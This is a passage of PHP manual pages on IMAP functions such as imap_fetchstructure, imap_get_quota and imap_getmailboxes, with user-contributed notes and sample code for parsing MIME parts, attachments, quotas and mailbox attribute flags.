                $parts = $stack[count($stack)-1]["p"];
                $i     = $stack[count($stack)-1]["i"] + 1;
                array_pop($stack);
              } else {
                $endwhile = true;
              }
            }

            if (!$endwhile) {
              /* Create message part first (example '1.2.3') */
              $partstring = "";
              foreach ($stack as $s) {
                $partstring .= ($s["i"]+1) . ".";
              }
              $partstring .= ($i+1);

              if (strtoupper($parts[$i]->disposition) == "ATTACHMENT") { /* Attachment */
                $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                      "filedata" => imap_fetchbody($mbox, $mid, $partstring));
              } elseif (strtoupper($parts[$i]->subtype) == "PLAIN") { /* Message */
                $content .= imap_fetchbody($mbox, $mid, $partstring);
              }
            }

            if ($parts[$i]->parts) {
              $stack[] = array("p" => $parts, "i" => $i);
              $parts = $parts[$i]->parts;
              $i = 0;
            } else {
              $i++;
            }
          } /* while */
        } /* complicated message */

        echo "Analyzed message $mid, result: <br />";
        echo "Content: $content<br /><br />";
        echo "Attachments:"; print_r ($attachment);
?>
y dot daradkeh at gmail dot com 20-Dec-2004 04:40
Hey people, get the message attachments with this code:

<?php

$mbox = imap_open("$imap_server".$f,$name,$pass);

// delibertely choose a message with an attachment

$info = imap_fetchstructure($mbox, $mno);

// find out how may parts the object has
$numparts = count($info->parts);

$i=0;
// find if multipart message
if ($numparts >1)
{
   echo "<b>More than one part</b><br><br>";

   foreach ($info->parts as $part)
   {
      if ($part->disposition == "INLINE")
         printf("Inline message has %s lines<BR>", $part->lines);
     elseif ($part->disposition == "attachment")
     {
       $i++;
       echo $i." Attachment/s found!<br>";
       echo "Filename: ".$part->dparameters[0]->value."<br><br>";
     }
   }
}
else
   echo "Only one part";

imap_close($mbox);
?>
aperez at informatica dot 24ruedas dot com 16-Jun-2004 09:10
About above comment and source code I wrote: certainly, plain/html text files are attachments, but I've written my code thinking about web IMAP clients, where text parts are not for downloading, simply they are shown. That's the reason.

Thanks anyway. :)
passeniermaxime at hotmail dot com 15-Jun-2004 05:15
I have written a code that check's for attachments.
There is a slight problem with the above code;
when you send a mail with a .txt document as attachment
the type will be 0 and so there won't be a attachment found.

I check for the disposition of the body part witch can be inline or attachment.
If this is an attachment he will display it.
You an also mix up both codes by checking on the type and the disposition.

//////////////////////////////////
///   $mbox = connection
///   $a_mails_sort[$i] = message id

$structuur = imap_fetchstructure($mbox,$a_mails_sort[$i]);
$bericht_delen=$structuur->parts;
for($i_delen = 0; $i_delen<=count($bericht_delen);$i_delen++)
  {
  if($bericht_delen[$i_delen]->disposition == "attachment")
    {
    $attachment = "OK";
    }// end if
  }//end for
aperez at informatica dot 24ruedas dot com 25-May-2004 09:12
This is my function to check attachments:

<?php
  $est=imap_fetchstructure($con,$msg);

  if(checkAttachments($est))
  {
    echo("You have attachment(s)");
  }
  else
  {
    echo("You don't have attachment(s)");
  }

  function checkAttachments($estMsg)
  {
    if(($estMsg->type!=0) && ($estMsg->type!=1))
    {
      // Text and multipart parts will not be shown as attachments
      return(true);
    }
    else
    {
      // If there's no attachments, parts inside will be checked
      if($estMsg->parts)
      {
        $partMsg=$estMsg->parts;
        $i=0;
        // Parts will be checked while no attachments found or not all of them checked
        while(!(checkAttachments($partMsg[$i])) && ($i<sizeof($estMsg->parts)))
        {
          $i++;
        }

        // If any 'checkAttachment' calls returned 'true', 'i' should be
        // equal to number of parts(after increased in while). So, no
        // attachments found
        if($i==sizeof($estMsg->parts))
        {
          return(false);
        }
        else
        {
          return(true);
        }
      }
      else
      {
        // If no parts and text or multipart type, no attachments
        return(false);
      }
    }
  }
  imap_close($con);
?>

I hope this helps somebody else(if bugs, thanks for your fixes).
richy at smilingsouls dot net 28-Jan-2004 12:08
After many long hours of pouring over the object returned by imap_fetchstructure() I came up with the solution posted at the following url:

http://p2p.wrox.com/topic.asp?TOPIC_ID=9063

The url above provides an example of how to access variables in the object returned by imap_fetchstructure().  This class creates an object with member variables containing the correct part numbers which are compatible with the imap_fetchbody() function.

The structure returned looks something like this:

                       0 Raw Headers
$this->pid[$mid][0]  =  1 text/plain                        top level message
$this->pid[$mid][1]  =  2 message/rfc822                    entire unparsed message
                                                             multipart/mixed - part is skipped!
                           2.0 Raw Headers
$this->pid[$mid][2]  =      2.1 multipart/alternative       contains unparsed contents of next subpart (text/plain && text/html)
                                2.1.0 Raw Headers
$this->pid[$mid][3]  =          2.1.1 text/plain            2nd level inline embedded message
$this->pid[$mid][4]  =          2.1.2 text/html

$this->pid[$mid][5]  =      2.2 message/rfc822              entire unparsed message
                                                             multipart/mixed - part is skipped!
                                2.2.0 Raw Headers
$this->pid[$mid][6]  =          2.2.1 multipart/alternative
$this->pid[$mid][7]  =              2.2.1.1 text/plain      3rd level inline embedded message
$this->pid[$mid][8]  =              2.2.1.2 text/html
$this->pid[$mid][9]  =            2.2.2 image/jpeg
$this->pid[$mid][10] =             2.2.3 image/jpeg
$this->pid[$mid][11] =            2.2.4 image/jpeg
$this->pid[$mid][12] =            2.2.5 image/gif

Its important to note why multipart/related, multipart/mixed and certain multipart/alternative (if parent part is message/rfc822 && not multipart/mixed) parts are skipped, imap_fetchbody **does not** retreive a message part for these parts.  Which isn't a bug, as I have read in other places, these parts exist for the purpose of designing the viewer portion of a mail application.  Also, headers aren't assigned part numbers here because they are easy to pick out.

: )
Rich
chrislhill at "O_o" hotmail dot com 23-Oct-2003 08:36
For people just beging this may help alot as I spent a couple hours just trying to relize how exact the array was stored. (at the time I did not know the print_r function :P)

$struct = imap_fetchstructure($mbox, $msgnumber);
print_r($struct);

Will give you a better example for your messages but they are called as $struct using the varible method above.

$struct->type; //would return the type
$struct->encoding //would return the encoding

and etc..

This can be done many different ways but that is the basics on pulling the info out of the structure of fetchstructure itself, I hope it helps someone starting because it wouldve helped me :/.
es96 at hotmail dot com 13-Aug-2003 11:38
If you are getting CHARSET as US-ASCII even if the header has a Content-Type: field, make sure the header also has a MIME-Version: field.

For example, the following header will correcty report charset as KOI8-R

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"

Without the MIME-Version it will be reported as US-ASII
as1 at powersite dot com dot ar 30-Dec-2002 10:57
Sorry, my before code is not complet:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
  $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
  $j = 1;
  while( imap_fetchbody( $conn, $curMsg, "$i.$j" ) ){
    $struct->parts[$i-1]->parts[$j-1] = imap_bodystruct( $conn, $curMsg, "$i.$j" );
    $j++;
    }
  $i++;
}
as1 at powersite dot com dot ar 30-Dec-2002 10:01
If your imap_fetchstructure not retrive all parts, write it:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
   $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
   $i++;
}
paradise at ml75 dot com 04-Dec-2002 04:40
I'm using freeBSD and had lots of problems with all functions/mail applications i could find on the net...

So i'm writing my own now..

Most of the stuff works fine now.. but i'm still working on the chooser to select the best part to show. (plain or HTML).

The #1 problem is that most functions give the wrong ID numbers beck to fetch the body.

Here's a sollution to that problem.. :P

// Debug function.. always handy until it's 100% completed..
   $attachments = array(); $dispos=0;
   $debug=true;
   function doDebug($msg){
      global $debug, $debug_depth, $dispos;
      if($debug){
         for($y = 0; $y < $debug_depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;");
         if($dispos == 0) echo($msg."<br/>"); else echo("<i>".$msg."</i><br/>");
      }
   }

   function Check_Part($part,$id){
      global $attachments, $debug, $debug_depth, $dispos; $ans=sizeof($attachments);
      doDebug("+Checking part $id");
      $debug_depth++;
      doDebug("Parttype=".$part->type ."/". mimetype($part->type) ."/". $part->subtype);

      if($part->ifdisposition){ $dispos++; doDebug("<b>Disposition</b>"); }
      if($part->ifdescription){ doDebug("<b>Description=".$part->description."</b>"); }

         switch($part->type){
           case 1: if((strtolower($part->subtype) == "mixed")
                        or (strtolower($part->subtype)  == "alternative")
                        or (strtolower($part->subtype) == "related")) break;

           default: $an = sizeof($attachments);
                    if($part->ifdparameters){
                       $dpara = $part->dparameters;
                       for ($v=0;$v<sizeof($dpara);$v++){
                          if (eregi("filename", $dpara[$v]->attribute))
                             $fname = $dpara[$v]->value;}
                    }
                    if($part->ifparameters){
                       if(empty($fname)){
                          $para = $part->parameters;
                          for ($v=0;$v<sizeof($para);$v++){
                             if (eregi("name", $para[$v]->attribute)) $fname = $para[$v]->value;
                          }
                       }
                    }
                    if(empty($fname))$fname = "Onbekend";

                  $attachments[$an]->id = ($an+1);
                  $attachments[$an]->part = $id;
                    $attachments[$an]->filename = $fname;
                   $attachments[$an]->type=$part->type;
                   $attachments[$an]->subtype=$part->subtype;
                   $attachments[$an]->dispos=$dispos;
                   $attachments[$an]->size=$part->bytes;
                  doDebug("Filename=".$attachments[$an]->filename); break;
         }

      for($x = 0; $x < count($part->parts); $x++){
         Check_Part($part->parts[$x], $id.".".($x+1));
      }
      doDebug("Dit deel had iets nuttigs.");
      if($part->ifdisposition) $dispos--;
      $debug_depth--;
      doDebug("-End of part $id");
   }

   function decode_mail($mbox, $msg){
      global $attachments, $debug, $debug_depth;
      doDebug("+Decoding message $msg"); $debug_depth++;
      $obj = imap_fetchstructure($mbox, $msg, FT_UID); $moet_werken=true; $id=1;
      while($moet_werken){
         Check_Part($obj, $id);

         $moet_werken=false;
      }
      $debug_depth--; doDebug("-End of message $msg");
   }

Now to get this to work..
Decode_Mail([Mailbox connection], [Message Number]);

this is the outpu attachment array..
1--1.1.1--Onbekend--0--PLAIN--0--31
2--1.1.2--Onbekend--0--HTML--0--29
3--1.2--Beschrijving Nieuw E.doc--3--MSWORD--1--613718
--------------------------------------

PS.. "Onbekend" is dutch for "Unknown".

Good luck.
Paradise (www.ml75.nl)
theUNDERSCOREVoodooChileADGMXdotNET 25-Oct-2002 02:21
you can easily see through everything with these functions:

function printarray($array){
  while(list($key,$value) = each($array)){
    if(is_array($value)){
      echo $key."(array):<blockquote>";
      printarray($value);//recursief!!
      echo "</blockquote>";
    }elseif(is_object($value)){
      echo $key."(object):<blockquote>";
      printobject($value);
      echo "</blockquote>";
    }else{
      echo $key."==>".$value."<br />";
    }
  }
}

function printobject($obj){
  $array = get_object_vars($obj);
  printarray($array);
}

end then do this:

  $struct = imap_fetchstructure($box,$mailnr);
  //$struct is een object!!
  drukobjectaf($struct);

you get an extended tree-view into the hierarchie of objects and arrays
Comparing different mails(changing thenumber) may bring more clarity into this matter

(these functions may not work properly as they are translated from my dutch original, but they ought to be OK)
jcastro at elnuevodia dot com 20-Sep-2002 10:16
I think the above note about attachments is wrong. I tested sending files with and without attachments and I get the following<br>
with attachment: type=3 bytes=343648
no attachment: type=0 bytes=2
so checking for $struct->bytes == " " means nothing. At least in my test
running windows 2000, php4.2.1 using outlook and exchange. It seems that cheking the type will be more reliable
20-Sep-2002 12:20
This function sets MIME charset
parameter value to US-ASCII when
either Content-Type header is missing
or Content-Type header doesn't have
charset parameter. This may be compliant
to RFC 822, but this poses
a problem for  a calling function that
has to deal with untagged messages
in MIME charset other than US-ASCII.
To work around this,  US-ASCII
has to be treated as the absence of MIME charset.
kmakaveev(at)yahoo(dot)com 25-Jun-2002 04:29
There's a little mistake in the code above!
The second echo must return "The message has no attachment!".
And that code must have some some additional  thing to work properly! Maybe I must use ->parts to determine how many parts has a particular message!
trionon at mail dot ru 22-Feb-2002 05:42
It's better to use special constants instead of digits for primary content-type:

        TYPETEXT                unformatted text
        TYPEMULTIPART           multiple part
        TYPEMESSAGE             encapsulated message
        TYPEAPPLICATION         application data
        TYPEAUDIO               audio
        TYPEIMAGE               static image (GIF, JPEG, etc.)
        TYPEVIDEO               video
        TYPEOTHER               unknown

These constants are documented in the source code of IMAP extension but they are still undocumented here :(
php AT firstnetimpressions.com 18-Feb-2002 10:15
Point of clarification:

The seventh primary body type is not "Other" as documented, but actually "Model".  This encompasses IGES, VRML, MESH, DWF, etc.

http://www.isi.edu/in-notes/iana/assignments/media-types/media-types

"Other" is the eigth primary body type.
mkknapp at quadrapod dot com 26-Apr-2001 03:48
Assuming $struct = imap_fetchstructure($x,$y);

It is important to note that if a message has NO attachements, $struct->parts is an empty array, and $struct->bytes has a value.  If a message as ANY attachements, $struct->bytes ALWAYS = 0. To get the size of the primary body, you have to call structure->part[0]->bytes.  To get the size of the whole message, either strlen(imap_body) or add up the ->bytes of all the parts.

Another interesting note:
When there is body text and no attachements:
count($struct->parts) = 0
When there is body text and 1 attachement:
count($struct->parts) = 2

These imap functions could really use better documentation. Like giving the meathods for the dparameter and parameter classes...
jbrandt at europa dot com 17-Apr-2001 12:45
Parsing the recursive object returned from imap_fetchstructure is easy. However trying to figure out the name of the section to pass to imap_fetchbody() isn't quite so straight forward because the naming conventions for the MIME sections are odd. If you copy and paste the following function you can pass an UID of an IMAP message and it will print out a hierarchy of the message and label each section.

The only required parameters are $mbox and $em_uid. The other parameters are used when the function needs to call itself.

Two functions mime_encoding() and mime_type() are not included. All they do is return string for the integer represention of a mime type/encoding.

<?php
function imap_dbody($mbox, $em_uid, $mimeobj, $depth = 0, $section = 0)
{
        // If this is the first run of the function then grab a object of the MIME structure of the message

        if($section == 0) $mimeobj = imap_fetchstructure($mbox, $em_uid, FT_UID);

        for($y = 0; $y < $depth; $y++) echo("       ");

        echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
        echo(mime_encoding($mimeobj->encoding) . " (<B>$section</B>)<BR>");

        for($x = 0; $x < count($mimeobj->parts); $x++)
        {
                // If we are in the root of the object increment by whole integers

                if($section == 0) $nsection = $x + 1;

                // If we are in the object and the first sub-object of our object isn't multipart
                // then increment the postfix by ".1" otherwise we are multipart or a message
                // and leave the section id alone to be handled by the next code block

                else if(($pos = strrpos($section, ".")) && $mimeobj->parts[0]->type != TYPEMULTIPART)
                        $nsection = substr($section, 0, $pos) . "." . ($x + 1);
                else
                        $nsection = $section;

                // If there are more parts to the part about to be processed reference it as a header with ".0"
                // but only if the child of this child isn't MULTIPART

                if(count($mimeobj->parts[$x]->parts))
                {
                        // Funny really, if a mime section is a inline message that has a multipart body you reference the message
                        // mime section with "2" the inline message header with "2.0" and the subsections with "2.x"
                        // However if the mime section is a inline message with only 1 part then you reference the
                        // mime section in the message with 2.0 and the inline message body with 2.1

                        if(!($mimeobj->parts[$x]->type == TYPEMESSAGE && $mimeobj->parts[$x]->parts[0]->type == TYPEMULTIPART))
                                $nsection .= ".0";
                        else
                                $nsection .= "";
                }

                imap_dbody($mbox, $em_uid, $mimeobj->parts[$x], $depth + 1, $nsection);

        }

        // If after processing the entire MIME object the $x variable is still zero then we didn't
        // process a multipart mime message, it's just normal email so say so here.

        if($x == 0 && $section == 0)
        {
                echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
                echo(mime_encoding($mimeobj->encoding) . " (<B>1</B>) (<B>NOT MIME MULTIPART</B>)<BR>");
        }
}
?>
vksgeneric at hotmail dot com 03-Feb-2000 02:22
It looks like some clients (e.g. outlook) can attach a file that has two mime-types associated with it, like:

Content-Type: model/vrml,x-world/x-vrml

This bombs the parsing procedure somewhere in c-client, I guess, and as a result ifparameters is set to false for the respective part, and you can not retrieve filename, mimetype, or any other parameters.
hholzgra at media-engineering dot de 15-Dec-1999 10:59
the parts objects are identical in
structure to those returned by imap_fetchstructure, describing one subfolder each

parameters and dparameters are MIME-specific, theese contain the
extra parameters provided in the Content-Type and Content-Disposion Header lines such as Charset or Filename


Alias of imap_body

  • « imap_fetchstructure
  • imap_gc »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_body

imap_fetchtext

(PHP 4, PHP 5)

imap_fetchtext — Alias of imap_body()

Description

This function is an alias of: imap_body().

User Contributed Notes

There are no user contributed notes for this page.


Clears IMAP cache

  • « imap_fetchtext
  • imap_get_quota »
  • PHP Manual
  • IMAP Functions
  • Clears IMAP cache

imap_gc

(PHP 5 >= 5.3.0)

imap_gc — Clears IMAP cache

Description

bool imap_gc ( resource $imap_stream , int $caches )

Purges the cache of entries of a specific type.

Parameters

imap_stream

An IMAP stream returned by imap_open().

caches

Specifies the cache to purge. It may one or a combination of the following constants: IMAP_GC_ELT (message cache elements), IMAP_GC_ENV (enveloppe and bodies), IMAP_GC_TEXTS (texts).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_gc() example

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password");

imap_gc($mbox, IMAP_GC_ELT);

?>

User Contributed Notes

Anonymous 23-Jul-2009 09:47
If you notice that you're program's memory usage is increasing (as observed using ps) while calling the imap functions, calling this function should free that memory.


Retrieve the quota level settings, and usage statics per mailbox

  • « imap_gc
  • imap_get_quotaroot »
  • PHP Manual
  • IMAP Functions
  • Retrieve the quota level settings, and usage statics per mailbox

imap_get_quota

(PHP 4 >= 4.0.5, PHP 5)

imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox

Description

array imap_get_quota ( resource $imap_stream , string $quota_root )

Retrieve the quota level settings, and usage statics per mailbox.

For a non-admin user version of this function, please see the imap_get_quotaroot() function of PHP.

Parameters

imap_stream

An IMAP stream returned by imap_open().

quota_root

quota_root should normally be in the form of user.name where name is the mailbox you wish to retrieve information about.

Return Values

Returns an array with integer values limit and usage for the given mailbox. The value of limit represents the total amount of space allowed for this mailbox. The usage value represents the mailboxes current level of capacity. Will return FALSE in the case of failure.

As of PHP 4.3, the function more properly reflects the functionality as dictated by the » RFC2087. The array return value has changed to support an unlimited number of returned resources (i.e. messages, or sub-folders) with each named resource receiving an individual array key. Each key value then contains an another array with the usage and limit values within it.

For backwards compatibility reasons, the original access methods are still available for use, although it is suggested to update.

Examples

Example #1 imap_get_quota() example

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota_value = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_value)) {
    echo "Usage level is: " . $quota_value['usage'];
    echo "Limit level is: " . $quota_value['limit'];
}

imap_close($mbox);
?>

Example #2 imap_get_quota() 4.3 or greater example

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota_values = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_values)) {
   $storage = $quota_values['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota_values['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit is: " .  $message['limit'];

   /* ...  */
}

imap_close($mbox);
?>

Notes

This function is currently only available to users of the c-client2000 or greater library.

The given imap_stream must be opened as the mail administrator, otherwise this function will fail.

See Also

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_set_quota() - Sets a quota for a given mailbox
  • imap_get_quotaroot() - Retrieve the quota settings per user

User Contributed Notes

Anti Veeranna 01-Mar-2007 08:26
If you're using this (or probably any other imap functions) and getting "Notice: Unknown: Quota root does not exist (errflg=2) in Unknown on line 0" errors after the script finishes, then call imap_errors() function before you close the imap stream - this will clear the error stack and you don't get those annoying notices.

Took me a while to figure it out.
Shiraz Esat 20-Dec-2004 06:40
For this function to work your IMAP server must also have the 'getquota' capability!

Check this by logging in directly:
telnet <mail server> <port>

e.g. telnet mail.myserver.com 143

and then once you're connected to the server
0 CAPABILITY
dc at aufruhr dot com 19-Jul-2003 01:26
ok, this error just occurs if there are no quotas on your mailbox.

same with imap_get_quotaroot().


Retrieve the quota settings per user

  • « imap_get_quota
  • imap_getacl »
  • PHP Manual
  • IMAP Functions
  • Retrieve the quota settings per user

imap_get_quotaroot

(PHP 4 >= 4.3.0, PHP 5)

imap_get_quotaroot — Retrieve the quota settings per user

Description

array imap_get_quotaroot ( resource $imap_stream , string $quota_root )

Retrieve the quota settings per user. The limit value represents the total amount of space allowed for this user's total mailbox usage. The usage value represents the user's current total mailbox capacity.

Parameters

imap_stream

An IMAP stream returned by imap_open().

quota_root

quota_root should normally be in the form of which mailbox (i.e. INBOX).

Return Values

Returns an array of integer values pertaining to the specified user mailbox. All values contain a key based upon the resource name, and a corresponding array with the usage and limit values within.

This function will return FALSE in the case of call failure, and an array of information about the connection upon an un-parsable response from the server.

Examples

Example #1 imap_get_quotaroot() example

<?php
$mbox = imap_open("{imap.example.org}", "kalowsky", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>

Notes

This function is currently only available to users of the c-client2000 or greater library.

The imap_stream should be opened as the user whose mailbox you wish to check.

See Also

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_set_quota() - Sets a quota for a given mailbox
  • imap_get_quota() - Retrieve the quota level settings, and usage statics per mailbox

User Contributed Notes

uphonesimon at gmail dot com 22-Sep-2005 01:37
just to make a note for all the people that are wondering the differences between $quota['STORAGE'] and $quot['MESSAGE']
the $quot['STORAGE'] is the size of the mailbox in KB
but $quota['MESSAGE'] is actually the number of messages stored in the mailbox and the up limit of the total messages allowed
rodrigo dot tsuru at tsuru dot net 15-Sep-2004 08:07
The example above isn't right. Replace with this:

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>
thomas dot hebinck at digionline dot de 30-Aug-2003 04:55
['STORAGE']['usage'] and ['STORAGE']['limit'] are values in KB (1024 Bytes)


Gets the ACL for a given mailbox

  • « imap_get_quotaroot
  • imap_getmailboxes »
  • PHP Manual
  • IMAP Functions
  • Gets the ACL for a given mailbox

imap_getacl

(PHP 5)

imap_getacl — Gets the ACL for a given mailbox

Description

array imap_getacl ( resource $imap_stream , string $mailbox )

Gets the ACL for a given mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns an associative array of "folder" => "acl" pairs.

Examples

Example #1 imap_getacl() example

<?php

print_r(imap_getacl($conn_id, 'user.joecool'));

?>

The above example will output something similar to:

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)

Notes

This function is currently only available to users of the c-client2000 or greater library.

See Also

  • imap_setacl() - Sets the ACL for a given mailbox

User Contributed Notes

info at obengelb dot de 13-Sep-2006 01:58
stream_id is the stream returned from imap_open

mailbox is a mailbox name (without server name)

Example:
print_r(imap_getacl ($strea_id, 'user.joecool'));

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)


Read the list of mailboxes, returning detailed information on each one

  • « imap_getacl
  • imap_getsubscribed »
  • PHP Manual
  • IMAP Functions
  • Read the list of mailboxes, returning detailed information on each one

imap_getmailboxes

(PHP 4, PHP 5)

imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one

Description

array imap_getmailboxes ( resource $imap_stream , string $ref , string $pattern )

Gets information on the mailboxes.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox contains, and may not contain any "children" (there are no mailboxes below this one). Calling imap_createmailbox() will not work on this mailbox.

  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.

  • LATT_MARKED - This mailbox is marked. This means that it may contain new messages since the last time it was checked. Not provided by all IMAP servers.

  • LATT_UNMARKED - This mailbox is not marked, does not contain new messages. If either MARKED or UNMARKED is provided, you can assume the IMAP server supports this feature for this mailbox.

Examples

Example #1 imap_getmailboxes() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$list = imap_getmailboxes($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
    foreach ($list as $key => $val) {
        echo "($key) ";
        echo imap_utf7_decode($val->name) . ",";
        echo "'" . $val->delimiter . "',";
        echo $val->attributes . "<br />\n";
    }
} else {
    echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

See Also

  • imap_getsubscribed() - List all the subscribed mailboxes

User Contributed Notes

james dot mattingly at gmail dot com 18-Jul-2011 09:19
For the purposes of passing along the attributes as a json array, I wanted to pass the attributes as an indexed array to save on bandwidth and session storage.  The human readable translation is then performed in javascript by relating each key to the proper attribute label.  I also wanted a cleaner way of converting the attributes without calling another function or using a complex iteration. This puts each binary attribute into it's own array element for easy testing.

<?php
$mailboxes = imap_getmailboxes($mailbox, $username, $password);

foreach($mailboxes as $key=>$mailbox){
   ...
   $attrs =  preg_split('//',str_pad(decbin($mailbox->attributes),7,"0",STR_PAD_LEFT),8);  // convert decimal to an array of attributes
   array_shift($attrs); // Remove the extra element at the front of the array in position 0
   ...
}
?>

With temporary variables, the conversion would look like this.

<?php
$attr_binary = decbin($mailbox->attributes);  // convert decimal to binary
$attr_binary = str_pad($attr_binary,7,"0",STR_PAD_LEFT);  // pad with 0's on the left
$attrs = $preg_split('//',$attr_binary,8);  // split into an array after each character
array_shift($attrs);  // Remove the extra element at the front of the array in position 0
?>

By defining the attributes as a map to the array index, you can test as follows.

<?php
define("ATTR_NOINFERIORS",6);
define("ATTR_NOSELECT "5);
define("ATTR_MARKED ",4);
define("ATTR_UNMARKED ",3);
define("ATTR_REFERRAL ",2);
define("ATTR_HASCHILDREN ",1);
define("ATTR_HASNOCHILDREN ",0);

if ($attrs[ATTR_HASCHILDREN]){
 // do something
}
?>
Mohamed Abbas mabbas_xyz at yahoo dot com 18-Nov-2006 05:51
i am currently develop a simple IMAP client, when i call imap_getmailboxes() i receive a different values in attributes property of the mailbox object the problem is how can i manipulate these attributes to get a meaningful value,
if you make a hard search to find a solution for this, you will
not find any useful documents for this problem, let us take a closer look for this problem.

when i call imap_getmailboxes() against different IMAP servers i got these attribute values

[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

the documentation tell us that we check this attributes against four constants, these contents are

LATT_NOINFERIORS
LATT_NOSELECT
LATT_MARKED
LATT_UNMARKED

the value of these constants are

LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8

you can got this result by echo each constant, unfortunately the documentation not explain how we can check the attributes against the constants, after a long time of searching i find the answer in source code of c-client
(you can get the source from ftp://ftp.cac.washington.edu/imap/)
under \src\c-client you will find mail.h open it and you will find this

                               /* terminal node in hierarchy */
#define LATT_NOINFERIORS (long) 0x1
                /* name can not be selected */
#define LATT_NOSELECT (long) 0x2
                /* changed since last accessed */
#define LATT_MARKED (long) 0x4
                /* accessed since last changed */
#define LATT_UNMARKED (long) 0x8
                /* name has referral to remote mailbox */
#define LATT_REFERRAL (long) 0x10
                /* has selectable inferiors */
#define LATT_HASCHILDREN (long) 0x20
                /* has no selectable inferiors */
#define LATT_HASNOCHILDREN (long) 0x40

as you notice here these are our four constants and three additional constants

LATT_REFERRAL
LATT_HASCHILDREN
LATT_HASNOCHILDREN

then what is the value of these 3 attributes
LATT_REFERRAL 0x10 = 00010000 in binary, the bitmask value is 2^4 = 16 and so on, or simply echo this constant to get the value, then

LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

finally the full list of constants will be
LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8
LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

ok let's back to our attributes
[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

[attributes] => 9 this mean it's LATT_UNMARKED and LATT_NOINFERIORS 1+8 =9

[attributes] => 1 this mean LATT_NOINFERIORS

[attributes] => 64 this mean LATT_HASNOCHILDREN

[attributes] => 32 this mean LATT_HASCHILDREN

[attributes] => 40 this mean LATT_HASCHILDREN and LATT_UNMARKED 32+8=40

this just like linux file permission 7 mean read, write, and execute 4+2+1 read=4 write=2 execute=1

that is what i found, i hope this can help

Mohamed Abbas
Nileweb Egypt
emielbom at hotmail dot com 04-Feb-2006 04:09
i was looking for a function to test the attributes.
and it was hard to find an answer or code.

Maybe there is a function availeble, but i couldn't find it.

the first function: returns all mailboxes in on the server

The second function: returns a bitstring from the attr_number returned by getmailboxes()

The tirth function: returns an array with the active attributes on the specific mailbox

Last Line: is a combination of the functions: the output is, any map witch can hold no mail but only sub boxes...

<?php
function getFolders($mailbox, $serverString) {

    $list = imap_getmailboxes($mailbox, $serverString, "*");
    if (is_array($list)) {
        foreach ($list as $key => $val) {
